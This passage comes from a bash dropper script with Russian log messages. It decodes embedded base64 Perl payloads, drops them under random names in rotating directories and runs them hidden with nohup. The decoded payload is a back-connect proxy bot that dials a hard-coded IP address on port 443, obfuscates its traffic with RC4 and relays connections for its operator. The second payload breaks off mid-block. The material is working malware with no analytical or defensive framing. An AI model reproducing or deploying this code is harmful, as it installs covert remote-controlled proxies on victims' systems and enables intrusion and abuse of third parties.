IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #34 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #34 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 35 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr 